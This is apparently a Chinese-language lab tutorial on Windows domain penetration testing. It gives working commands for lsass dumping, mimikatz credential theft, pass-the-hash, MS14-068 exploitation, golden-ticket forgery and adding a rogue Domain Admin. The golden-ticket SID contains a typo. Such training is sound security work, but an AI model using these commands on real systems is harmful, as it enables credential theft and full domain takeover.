域滲透學習

2023-09-07 18:00:19

域滲透學習

在滲透測試過程中,我們經常會遇到以下場景:某處於域中的伺服器通過路由做埠對映,對外提供web服務,我們通過web指令碼漏洞獲得了該主機的system許可權,如果甲方有進一步的內網滲透測試需求,以證明企業所面臨的巨大風險,這個時候就需要做內網的域滲透。通常,我們是以獲得域控制器的許可權為目標,因為一旦域控制器淪陷,整個內網就盡在掌握中了。

一、初識域環境

①什麼是域

將網路中多臺計算機邏輯上組織到一起,進行集中管理,這種區別於工作組的邏輯環境叫做域,域是組織與儲存資源的核心管理單元,在域中,至少有一臺域控制器,域控制器中儲存著整個域的使用者帳號和安全資料庫。

②域的優點(為什麼使用域)

那麼域網路結構有什麼優點呢?域的優點主要有以下幾個方面:

1、許可權管理較集中,管理成本降低

域環境中,所有的網路資源,包括使用者均是在域控制器上維護的,便於集中管理,所有使用者只要登入到域,均能在域內進行身份驗證,管理人員可以較好的管理計算機資源,管理網路的成本大大降低;同時在域環境中也可以防止企業員工在域成員主機上違規安裝軟體,增強使用者端安全性,減少使用者端故障,降低維護成本。

2、保密性加強

有利於企業的一些保密資料的管理,可以單獨對資源進行許可權控制,允許或拒絕特定的域賬戶對資源的請求。

3、安全性加強

使用漫遊賬戶和資料夾重定向,個人賬戶的工作檔案及資料等可以儲存在伺服器上,進行統一備份及管理,使使用者的資料更加安全有保障;同時域控制器能夠分發應用程式、系統修補程式,使用者可以選擇安裝,也可以由系統管理員指派自動安裝,資料及系統安全性大大提高。

4、提高了便捷性

可由管理員指派登陸指令碼對映,使用者登入後就可以像使用本地碟符一樣,使用網路上的資源,且不需要再次輸入密碼。

基於以上原因,很多企業的內網均會採用域環境,所以作為一名合格的滲透測試人員,域滲透的常規思路和技巧要熟練掌握。

③域的基本名詞解釋

1、工作組(work gorup)

在工作組模式的網路中,各伺服器都是獨立的,而且各伺服器中的帳戶和資源也是各自進行管理的。所以,管理員需要為每臺伺服器建立帳戶,在管理時也需要分別登入各伺服器完成管理工作。授權使用者存取不同的伺服器時,也需要分別登入。

2、域(Domain)

在域模式的網路中,伺服器集中進行管理域中的帳戶和資源也是集中管理的。所以,管理員登入到伺服器後就可以管理整個域並可以存取所有共用資源在域模式的網路中,需要一個對帳戶和資源進行統一管理的機制,這個機制就是活動目錄(Active Directory)。域中所有的帳戶和共用資源都需要在活動目錄中進行登記(所以可以在活動目錄當中看共用資源),使用者可以利用活動目錄查詢和使用這些資源。基於域模式的網路可大大減輕管理的複雜度和工作量,通常用於結構較複雜的網路。

3、域與工作組的關係

在工作組上你一切的設定在本機上進行包括各種策略,使用者登入也是登入在本機的,密碼是放在本機的資料庫來驗證的。而如果你的計算機加入域的話,各種策略是域控制器統一設定,使用者名稱和密碼也是放到域控制器去驗證,也就是說你的賬號密碼可以在同一域的任何一臺計算機登入。登陸到域中的時候,身份驗證是採用Kerberos協定在域控制器上進行的,登陸到此計算機則是通過SAM來進行NTLM驗證的。一臺電腦要麼屬於工作組要麼屬於域,兩者對立存在。

4、域控制器(DC)

域控制器(Domain Controller,簡寫為DC)

是一臺安裝並執行Active Directory的伺服器,它管理使用者和域互動之間的所有安全相關方面,集中安全性和管理。一個域可以有一個或多個域控制器,各域控制器間地位平等,管理員可以在任一臺域控制器上更新域中的資訊,更新的資訊會自動傳遞到網路中的其他域控制器中。(老大-不止一個)

域控的部署 => 略

5、活動目錄(AD)

活動目錄AD(Active Directory)

域內所有的計算機共用一個集中式的目錄資料庫(又稱為活動目錄資料庫),它包含著整個域內的物件(使用者賬戶、計算機賬戶、印表機、共用檔案等)和安全資訊等等,而活動目錄負責目錄資料庫的新增,修改,更新和刪除。所以我們要在Windows Server 2003上實現域環境,其實就是要安裝活動目錄。活動目錄為我們實現了目錄服務,提供對企業網路環境的集中式管理。(管理)

6、(域)使用者登入

域使用者登入

域名\域使用者名稱域使用者密碼

本地使用者登入

計算機名\本地使用者名稱本地使用者密碼

7、域/域樹/域林/林根域

(1)域是一種管理單元,也是一個管理邊界在同一個域內共用某些功能和引數;一個域可以有多臺域控制器如domain1.com/A.domain1.com/domain2.com分別代表三個獨立的域。

(2)域樹是指基於在DNS名稱空間,如果一個域是另一個域的子域,那麼這兩個域可以組成一個域樹,例如domain1.com/A.domain1.com組成一個域樹,domain2.com/A.domain2.com組成—個域樹。

(3)域林是指一個或多個不連續DNS名的域(樹)的集合;例如上圖中的domain1.com/domain2.com/domain3.com組成一個域林。

(4)域林中的第一個被建立的域,稱之為林根域。

8、DNS與域的關係

DNS伺服器對域來說不可或缺。域中的計算機使用DNS域名,DNS需費為域中的計算機提供域名解服務。

域中的計算機需要利用DNS提供的SRV記錄來定位域控制器。

9、DNS對AD域的作用

名稱解析:1.DNS將計算機名稱轉換為IP地址2.計算機使用DNS在網路上相互定位

Windows 2000/2003/2008域的名稱:Windows 2000/2003/2008使用DNS命名標準。DNS域和活動自錄的域使用共同的名稱層析結構。

定位活動目錄的物理元件:DNS使用域控制器提供的服務。域中計算機使用DNS來定位域控制器和全域性編錄。

10、AD域與工作組的區別

管理模式:工作組實現的是分散的管理模式,每一臺計算機都是獨自自主的;域實現的是主/從管理模式,通過一臺域控制器集中管理域內使用者帳導和許可權。

資源存取:在「域」模式下,資源的存取有較嚴格的管理,至少有一臺伺服器負責每一臺聯入網路的電腦和使用者的驗證工作。

管理模式:域控制器中包含了由這個域的賬戶、密碼、屬於這個域的計算機等資訊構成的資料庫。工作組只是進行本地電腦的資訊與安全的認證。

11、域的信任關係

由於域控制器的作用,域內的使用者是不能夠跨段進行存取的,如果一定要進行跨段存取,則需要在兩個域之間建立信任關係。域與域之間具有一定的信任關係,域信任關係使得一個域中的使用者可由另一域中的域控制器進行驗證,才能使一個域中的使用者存取另一個域中的資源。

域的信任關係---->信任關係域---->被信任關係域

信任關係域的作用:允許一個域內的使用者能夠存取。

12、組策略

意義:方便管理AD中使用者和計算機的工作環境

1.使用者桌面環境

2.計算機啟動/關機與使用者登入/登出時所執行的指令碼檔案

3.軟體分發

4.安全設定

組策略的作用:組策略不適用於早期的Windows作業系統,如Windows 9x/NT,那時使用的是「系統策略」。組策略是系統策略的更高階擴充套件,它是由Windows 9x/NT的「系統策略」發展而來的,具有更多的管理模板、更靈活的設定物件及更多的功能。

tips:設定Windows域使用者帳戶密碼策略

13、域賬號登入成員機的過程

使用域賬號進行登入---->成員機檢查本地沒有這個賬號,如果沒有則成員機向DNS伺服器解析DC的IP---->向DC彙報有人想要進行登入,將賬號密碼傳送給DC---->DC在AD裡面找有沒有這個賬號,有就返回可以登入的指示Access Key,這時候成員機接到Access Key就會讓它登入並且在C:\user裡面為a賬號建立家目錄和組態檔---->登陸成功後成員機會問DC還有什麼要求,DC查詢AD將組策略發給成員機---->成員機按照組策略來載入一些特定要求,例如:強制成員機有特定桌面桌布,不能更改等。

14、域控設定

伺服器:

 1,安裝AD域服務
 2.設定靜態IP地址,並將DNS指向域控
 3.新增域內使用者

使用者端:

 1,設定靜態IP地址,並將DNS指向域控
 2.把使用者加入域

15、信任域

在很多實際情況中,一個又有下面的子公司,所以就造成母公司有一個域,子公司有也有一個單獨的域。母公司的域與子公司的域如何聯絡起來呢?我們可以在它們之間建立一種叫信任( Trust)的關係。如果母公司的帳戶想要能夠登入到子公司的域中,子公司的域就要對母公司的減建立信任關係。當母公司域的帳戶想要登入到子公司域中時,子公司域由於信任母公司的域,所以它會聽從從母公司域的域控制器返回的 access key。反過來,由於母公司的域沒有建立對子公司的信任,所以如果子公司的帳戶想要登入到母公司的域中是不可能的。

16、其他概念

域能實現檔案的共用,集中統一,便於管理。

域是windows網路中獨立執行的基本單位,域之間相互存取則需要建立信任關係,域有安全邊界的作用。

域是共用使用者賬號,計算機賬號和安全策略的計算機集合。

域既是windows網路作業系統的邏輯組織單元,也是Internet的邏輯組織單元,在window作業系統中,域是安全邊界。

二、環境設定

在開始之前,需要先設定好⼀個域環境。因為用於教學測試,所以只需一臺域控和一臺加入域內的主機即可。這裡我使用的是 windows server 2012 與 windows 7。通過攻擊拿下 windows 7 或者直接操控 windows 7,來模擬被攻陷的主機,從而進行域方面是滲透學習。

windows server 2012 存在Administrator使用者(域控超級管理員使用者)、Windows7的dada使用者(加入管理員組的使用者)、Windows7的xiao使用者(普通域使用者)

三、域內資訊收集

所有滲透測試的第⼀步,都是資訊收集,域也不例外。

①確定環境

在域內需要先確定被攻擊主機的當前內網環境,如拓撲等資訊,可以使用以下命令來快速定位。

route print 	# 檢視路由資訊
arp -a  # 檢視域中所有的裝置
ipconfig /all	 # 判斷當前是否在域環境中,看dns字尾和dns伺服器
ping "域名"
net time /domain       #檢視系統時間(判斷主域)
  • 在滲透時,拿到的資料記得儲存,不要看一眼就沒了,也儘量不要重複檢視,所有的動作都要求乾淨利索。

②域內資訊

除了瞭解內網環境外,還可以通過命令來直接檢視域的相關訊息。

1、net view

檢視本地工作組/域環境中的裝置

檢視域內線上主機,此時可以看⻅域內的兩臺機器,⼀臺被攻陷的XZM-PC和域控AD。

如果報錯6118 =>

1、關閉防火牆;2、開啟服務(Computer Browser、Server、Workstation);3、重新開啟CMD即可

2、net view /domain

檢視當前有幾個域。可以看見此時有一個MAO域。

3、net user /domain

檢視域內⽤戶,可以看⻅除了常⻅的管理員和來賓,域內還有⼀個krbtgt⽤戶,這個⽤戶⾮常重要,稍後會講到。

4、net group /domain

檢視域的組別資訊

這⾥可以看⻅組較多,這⾥列出⼏個關鍵組瞭解⼀下。

*Domain Admins 管理員組

*Domain Computers 主機名

*Domain Controllers 域控組

*Enterprise Admins 企業級管理員

可以通過 net group 組名 /domain 來檢視組內⽤戶。

5、whoami /user

確定自身許可權

  • 500:administrator
  • 501:guest
  • 1000+:普通使用者

6、net group "domain controllers" /domain

檢視域控管理員組的成員(域內高許可權組)

  • ​ Domain Admins 域控管理員組(高許可權)
  • ​ Domain Computers 加入域內的主機成員
  • ​ Domain Controllers 域控(高許可權)
  • ​ Domain Users 域內普通使用者
  • ​ Enterprise Admins 企業管理員(高許可權)

8、systeminfo | findstr "KB"

檢視修補程式資訊

7、定位域控

域控作為域的最⾼許可權,⾃然是⾸要的攻擊⽬標,可以通過剛才的⼀些已知的命令,來找到域控。

通過 net user /domain 來檢視域內的賬戶;通過 net group "domain controllers" /domain 來檢視域控。自身許可權可以使⽤ whoami /user 命令快速檢視。

四、本地認證

①Windows本地認證

在開始攻擊之前,需要先了解⼀下 windows 的認證機制。

通過作業系統的學習,已知 C:\Windows\System32\config\SAM 是儲存主機賬號密碼的資料庫⽂件。

windows 登⼊的過程其實很簡單,啟動winlogin.exe,當⽤戶輸⼊賬號密碼後,賬號密碼將會傳送到lsass.exe,lsass.exe將會把⽤戶輸⼊的明⽂,轉換為NTLM hash與,SAM⽂件儲存的資料做⽐較,⽐較成功即登⼊成功。

Windows Logon: 是wWindows作業系統的使用者登入程式,負責管理使用者的登入和登出過程。它提供了使用者輸入賬號和密碼的介面,也稱為登入頁面或登入螢幕。

lsass: 是微軟windows系統的安全機制,是Windows作業系統中的一個關鍵程序,負責處理本地安全和登入策略。它在Windows系統啟動時自動啟動,並一直執行在後臺。

②NTLM hash

當然,windows本身是不會儲存明⽂密碼的,在SAM⽂件中所儲存的是密碼的雜湊值,⽽在登⼊的時候,也是先將⽤戶輸⼊轉換為雜湊值,才進⾏對⽐的。

Hash一般儲存在兩個地方:

  • 1、SAM檔案,儲存在本機 => 對應本地使用者
  • 2、NTDS.DIT檔案,儲存在域控上 => 對應域使用者

1、加密過程

⽤戶輸⼊的明⽂密碼 => ⼗六進位制 => unicode => md4 演演算法 => NTLM hash。可以看⻅,整個加密過程還是較為簡單的。

2、儲存的密碼格式

例:administrator:500:LM hash:NTLM hash

可以看⻅,先是⽤戶名,再是該⽤戶的 SID,後⾯跟著 LM hash 和 NTLM hash

如果LM Hash 是 AAD3B 開頭,則是空密碼或者未設定密碼。

LM Hash全名為 「LAN Manager Hash」,是微軟為了提⾼Windows作業系統的安全性⽽採⽤的雜湊加密演演算法,其本質是DES加密。儘管LM Hash較容易被破解,但是為了保證系統的相容性,Windows只是將LM Hash禁⽤了(從Windows Vista和Windows Server 2008版本開始,Windows作業系統預設禁⽤LM Hash),LM Hash明⽂密碼被限制在14位元以內,也就是說,如果要停⽌使⽤LM Hash,將⽤戶的密碼設定為14位元以上就好了。

3、lsass.exe

在內⽹滲透進⾏橫向移動和許可權提升時,最常⽤的⽅法是通過 dump 程序 lsass.exe,從中獲得明⽂⼝令或者hash。 lsass.exe(Local Security Authority SubsystemService)是⼀個系統程序,⽤於微軟Windows系統的安全機制,它⽤於本地安全和登陸策略。在程序空間中,存有著機器的域、本地⽤戶名和密碼等重要資訊。但是需要⾸先獲得⼀個⾼的許可權才能對其進⾏存取。

五、從 lsass.exe 獲取密碼

①Procdump

procdump是⼀款命令⾏⼯具,主要⽤途是監視應⽤程式的CPU異常動向,並且對記憶體做⼀個轉儲。上⾯提到了密碼的明⽂與密⽂都儲存在lsass⾥,所以使⽤procdump即可將 lsass 的記憶體資源轉儲出來。以下是它的⼀些引數。

1、相關引數

  • -ma:寫⼊「完整」轉儲⽂件。【包括所有記憶體 (映像、對映和專⽤);包括 (程序、執行緒、模組、控制程式碼、地址空間等) 的所有後設資料】
  • -accepteula:使⽤該命令列選項時,表示⾃動接受Sysinternals許可協定。

2、簡單使用

使⽤⽅式⾮常簡單,指定引數和要轉儲記憶體的⽂件後,再指定儲存的⽂件名,即刻獲得字尾名為 .dmp 的記憶體轉儲⽂件。(需要管理員許可權的命令列視窗才可操作)

procdump.exe -ma -accepteula lsass.exe passwd.dmp 	#把記憶體當中的HASH匯入到本地,並命名為passwd.dmp

正常我們是打不開passwd.dmp這個檔案的,要是以記事本開啟也都是亂碼。這時,我們就要用到另一個小工具Mimikatz進行對passwd.dmp進行讀取

②Mimikatz

Mimikatz 是法國⼈benjamin開發的⼀款功能強⼤的輕量級偵錯⼯具,本意是⽤來個⼈測試,但由於其功能強⼤,能夠直接讀取WindowsXP-2012等作業系統的明⽂密碼⽽聞名於滲透測試,可以說是滲透必備⼯具。

1、相關引數

因為 mimikatz 引數較多,這⾥只介紹常⽤的引數。

mimikatz # :: 	 顯示幫助指令
mimikatz # cls 	  清空
mimikatz # log  	記錄所得到的資訊
mimikatz # hostname 		檢視主機名
  • privilege 模組

(需要管理員許可權的命令列視窗才可操作)

mimikatz # privilege::debug 	 提升 mimikatz 許可權(通過mimkatz自帶的漏洞指令碼對當前裝置進行攻擊)
  • sekurlsa 模組
1、提取當前系統中已登入使用者的密碼(該方法需要先提升mimikatz許可權)
mimikatz # sekurlsa::logonpasswords		獲取所有賬戶密碼(比procdump的使用更簡單)
2、抓取使用者NTLM雜湊(讀取記憶體的HASH-列出 LM 和 NTML 憑證)
mimikatz # sekurlsa::msv
3、載入dmp檔案,並匯出其中的明文密碼
mimikatz # sekurlsa::minidump passwd.dmp	切換環境
mimikatz # sekurlsa::logonpasswords full	列出所有可用的憑據
4、匯出lsass.exe程序中所有的票據
sekurlsa::tickets /export
5、列出 kerberos 憑證
mimikatz # sekurlsa::kerberos 	 獲取kerberos認證資訊(賬戶密碼等)-域內
6、pass-the-hash 雜湊傳遞
mimikatz # sekurlsa::pth 
  • lsadump 模組
mimikatz # lsadump::sam	    檢視sam檔案內容獲取使用者名稱和NTLM hash
mimikatz # lsadump::secrets 	 獲取當前使用者密碼
mimikatz # lsadump::dcsync /user:krbtgt  	獲取域控上krbtgt⽤戶資訊
  • kerberos 模組
1、列出系統中的票據
mimikatz # kerberos::list		列出票據
mimikatz # kerberos::tgt		列出票據		
2、清除系統中的票據
mimikatz # kerberos::purge		清除票據
3、匯入票據到系統中
mimikatz # kerberos::ptc 票據路徑
  • process 模組
mimikatz # process::start command 	  啟動程序
mimikatz # process::stop command 	  結束程序
mimikatz # process::list	   列出程序

Mimikatz 因為效果太好導致會被防毒警報,若是想在⽬標機器運⾏先考慮是否需要對 Mimikatz 做免殺處理。

2、簡單使用

Mimikatz 能夠從記憶體中提取純⽂本密碼,通過引數 sekurlsa::minidump 載⼊剛才procdump 獲取的 dmp ⽂件後,就可以使⽤ sekurlsa::logonpasswords full 等命令,對密碼進⾏讀取。實現效果如下圖:

mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

在這⾥可以看⻅圖中帶有管理員資訊,若是中真實環境中拿到此資訊基本就宣告著結束。

3、進階使用

①利用procdump導下來的dump檔案與mimikatz配合使用獲取憑據

mimikatz # log 	 	//記錄所得到的資訊
mimikatz # sekurlsa::minidump passwd.dmp   	 //切換環境(掛載dmp檔案)
mimikatz # sekurlsa::logonpasswords    	//列出所有可用的憑據

②直接利用minikatz獲取憑據(需要管理許可權)

mimikata # log  		//記錄所得到的資訊
mimikatz # privilege::debug 	  //提權(獲得mimikatz程式的特殊操作)
mimikatz # sekurlsa::msv  	 //提取記憶體的HASH值
mimikatz # sekurlsa::logonpasswords   	 //列出所有可用的憑據

六、實驗:PTH(pass-the-hash)雜湊傳遞

①簡介

雜湊傳遞是⼀種⿊客技術,攻擊者可⽤使⽤⽤戶密碼的hash對遠端伺服器進⾏身份驗證,擴⼤戰果。其實就是⼀種 撞庫 的⾏為。在擁有NTLM hash的情況下,我們可以⾮常輕易的使⽤mimikatz的 sekurlsa::pth 發起⼀次 PTH。

  • 攻擊缺陷:hash 要保持靜態(不修改密碼)
  • 適⽤於:域/⼯作組、可⽤獲取 hash 但是不能爆破 hash,且內⽹有相同密碼的機器。
  • KB2871997:修復了普通⽤戶能夠 pth,但是管理員除外,系統 >= win server 2012時,⽆法通過 lsass 程序中抓取明⽂密碼。

因 KB2871997 修復了普通⽤戶能夠 pth,所以需要使⽤ privilege::debug 來提升許可權(在⾼許可權終端下)。

②基本條件

使⽤mimikatz的sekurlsa::pth模組⾄少需要知道以下條件:

  • pth 的物件 :使⽤ net user /domain 等命令即可檢視域內⽤戶資訊
  • 域名 :使⽤ net view /domain 等命令即可檢視域名
  • NTLM hash :可以通過使⽤procdump配合mimikatz獲取
補充:
① reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f   	#開啟密碼抓取

②  rundll32 user32.dll,LockWorkStation   # 強制鎖屏,為了讓使用者重新登入從而可以抓取lsass.exe檔案中的密碼

③適用條件

適用於無需使用者密碼,只能拿到域控的NTLM Hash,而且無法解密的情況。

④資訊收集

尋找pth的物件 => Administrator

檢視管理員組成員 => 選擇攻擊 Administrator

域名 => MAO

拿到管理員的ntml hash => 570a9a65db8fba761c1008a51d4c95ab

其實通過mimikatz.exe,啥都滿足了:
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

⑤發起攻擊

法一:mimikatz直接pth

sekurlsa::pth /user:<pth 的物件> /domain:<域名> /ntlm:<ntlm hash> [/run:name]

privilege::debug
sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd

拿下域控許可權。(如果引數都填寫正確的情況下,還是無法攻擊成功的話,嘗試關閉mimikatz視窗,重新以管理員啟動cmd.exe,重新提升許可權,再進行攻擊。run後面的命令不寫也行,預設開啟域控的cmd.exe)

法二:msf的psexec

search psexec
use exploit/windows/smb/psexec
show option
set rhosts 192.168.126.10
set SMBDomain MAO
set SMBUSER Administrator
set SMBpass 6f08d7b306b1dad4b75e0c8d76954a50:570a9a65db8fba761c1008a51d4c95ab	# LM:NTLM
exploit

法三:憑據傳遞指令碼獲取shell

①smbexec.py
python smbexec.py -hashes 6f08d7b306b1dad4b75e0c8d76954a50:570a9a65db8fba761c1008a51d4c95ab MAO/[email protected]

②wmiexec.py
python wmiexec.py -hashes 6f08d7b306b1dad4b75e0c8d76954a50:570a9a65db8fba761c1008a51d4c95ab MAO/[email protected]

七、Kerberos認證協定

Kerberos是⼀種第三⽅認證協定,通過使⽤對稱加密技術為使用者端/伺服器應⽤程式提供強身份驗證。在希臘神話中Kerberos是守護地獄之⻔的⼀條三頭神⽝,⽽這三個頭分別代表著協定的三個⻆⾊,如下圖所示它們分別是:

1、存取服務的Client(傳送請求的一方)

2、提供服務的Server(接收請求的一方)

3、KDC,金鑰分發中⼼,該中⼼⾥⼜包含以下兩個服務:

  • AS,身份驗證服務(認證伺服器)【專門用來認證使用者端的身份並行放客戶用於存取TGS的TGT】
  • TGS,票據授權服務(票據授予伺服器)【用來發放整個認證過程以及使用者端存取伺服器端時所需的服務授予票據】

  • DC(Domain Controller):域控制器
  • KDC(Key Distribution Center):金鑰分發服中⼼
  • AS(Authentication Server):認證伺服器
  • TGS(Ticket Granting Server):票據授權伺服器
  • TGT(Ticket Granting Ticket):票據授權票據

認證概述

1、⾸先使用者端向 AS 發起請求,獲得TGT。

2、使用者端使⽤從 AS 獲得的TGT,向 TGS 發起請求,TGS 成功解密 TGT 後,生成新的票據返回給使用者端。

4、使用者端使⽤ TGS 返回的新票據向伺服器傳送請求進⾏授權。

八、實驗:PTC(pass-the-ccahe)快取傳遞

如果能夠拿到⽤戶的 TGT,並將其倒⼊到記憶體,那麼就可以冒充該⽤戶獲得其存取許可權。

①MS14-068漏洞

MS14-068 是金鑰分發中⼼(KDC)服務中的 Windows 漏洞。它允許經過身份驗證的⽤戶在其 Kerberos 票據(TGT)中插⼊任意 PAC(表示所有⽤戶許可權的結果)。該漏洞位於kdcsvc.dll 域控制器的金鑰分發中⼼中。⽤戶可以通過呈現具有改變 PAC 的 kerberos TGT 來獲得票據。

需要⾼許可權。

影響範圍

  • Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2
  • Windows Vista、Windows 7、 Windows 8 及 Windows 8.1

修補程式編號與利⽤條件

修補程式編號:KB3011780

利⽤條件:

  1. 獲取到⼀臺主機的許可權(域內主機)

  2. 收集到計算機域管理員⽤戶的賬號密碼、SID、域名資訊

  3. 沒打 MS14-068 修補程式

②資訊收集

1、域管理員⽤戶的SID
whoami /all	 =>	S-1-5-21-863777703-696496247-1862912240-500

2、域管理員⽤戶的明文密碼
mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full	 =>	Admin@123

3、域名資訊(完整域名訊息)
ipconfig /all

Windows對大小寫不敏感,所以mao.com和MAO.COM均可

③漏洞利用

1、生成域控管理員金鑰

使⽤現成的指令碼來獲取票據:
ms14-068.exe -u <⽤戶名@域名> -s <SID> -d <ip地址> -p <⽤戶密碼>

MS14-068.exe -u [email protected] -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123

2、將記憶體中匯入生成好的票據

然後使⽤mimikatz的 kerberos::ptc 模組來載⼊票據。

mimikatz.exe
privilege::debug
kerberos::ptc [email protected]

3、開啟當前許可權的管理員終端

使⽤mimikatz的 misc::cmd 模組,開啟開啟⼀個新窗⼝驗證我們當前許可權。

misc::cmd
dir \\192.168.126.10\c$

4、PsExec.exe獲取一個互動式shell

用剛剛生成的管理員終端使用PsExec.exe工具獲取一個互動式shell,並建立了隸屬於管理員組的使用者

PsExec.exe \\192.168.126.10 cmd
ipconfig
whoami
net user carmi carmi@123 /add /domain
net group "Domain Admins" carmi /add /domain
net group "Domain Admins" /domain

八、實驗:PTT(pass-the-ticket)黃金票據

①簡介

KDC 的作⽤是⽣成任意⽤戶的 TGT,那麼問題來了,是什麼條件能夠讓他⽣成任意⽤戶的 TGT 呢?還得看 kerberos 認證的過程,在 windows 認證過程中,使用者端將⾃⼰的資訊傳送給 KDC,然後 KDC 使⽤ krbtgt ⽤戶密碼的 NTLM hash 作為金鑰進⾏加密,⽣成 TGT。

一句話:TGT是KDC使用 krbtgt 使用者密碼的 hash 作為金鑰,加上使用者端自己的資訊生成的。

那麼如果獲取到了 krbtgt 的密碼 hash 值,是否就可以偽造任意 TGT?答案是肯定的。但因為 krbtgt 只有域控制器上才有,所以使⽤⻩⾦票據(票據傳遞攻擊)意味著之前就拿到了域控制器的許可權,所以⻩⾦票據可以理解為⼀個後⻔。

Krbtgt ⽤戶在域控建立完成後⾃動⽣成。

只要krbtgt使用者不更改密碼,就可以使用黃金票據是實現任何使用者的票據資訊,注入到記憶體中。

黃金票據在使用的過程需要同域控通訊。

②基本條件

  • 域名稱、域 SID(去掉rid):通過 whoami /user 獲取
  • 要偽造(目標)的⽤戶名:通過 net user /domain 等⽅法獲取
  • krbtgt⽤戶的hash:通過 mimikatz 等⽅法獲取

③資訊收集

mimkatz獲取 krbtgt hash(只有這一步才需要在域控上操作) => e798fdc7ba810c372ef7bffcdc8f2d13

由於mimkatz使用條件有點苛刻,且mimkatz軟體問題,在命令列直接複製mimkatz內容可能無法成功或者直接到導致程式崩潰,那麼這裡可以通過生成log來解決。

mimikatz.exe
log
privilege::debug
lsadump::dcsync /user:krbtgt

域SID(不需要許可權的域SID): whoami /user => S-1-5-21-863777703-696496247-1862912240(最後的一個橫線後表示使用者許可權。因此只需要前半部分)

偽造(目標)的⽤戶名:net user /domain => Administrator

域名稱(完整域名):ipconfig /all => mao.com

③漏洞利用

管理員視窗操作

1、清除原有票據

因為在⽣成票據時需要將原有的票據清空,所以⼀旦票據⽣成失敗,主機也將⽆法繼續存取域內資訊了(脫域)。

使⽤ kerberos::purge 清空票據後,就可以使⽤ kerberos::golden ⽣成票據了。

mimikatz.exe
privilege::debug
kerberos::purge		清空票據

2、⽣成票據

kerberos::golden /user:<要偽造的⽤戶名> /domain:<完整域名> /krbtgt:<krbtgt ⽤戶的 hash> /sid:<域sid> /ticket:<⽣成的⽂件名.kirbr>

kerberos::golden /user:Administrator /domain:mao.com /krbtgt:e798fdc7ba810c372ef7bffcdc8f2d13 /sid:S-1-5-21-86377703-696496247-1862912240 /ticket:carmi.kirbr

3、注入票據

kerberos::ptt carmi.kirbr

4、生成域控對談

misc::cmd
whoami
dir \\192.168.126.10\c$
PsExec.exe \\192.168.126.10 cmd
ipconfig

補充:

MSF中kiwi(mimikatz)模組的使用

目錄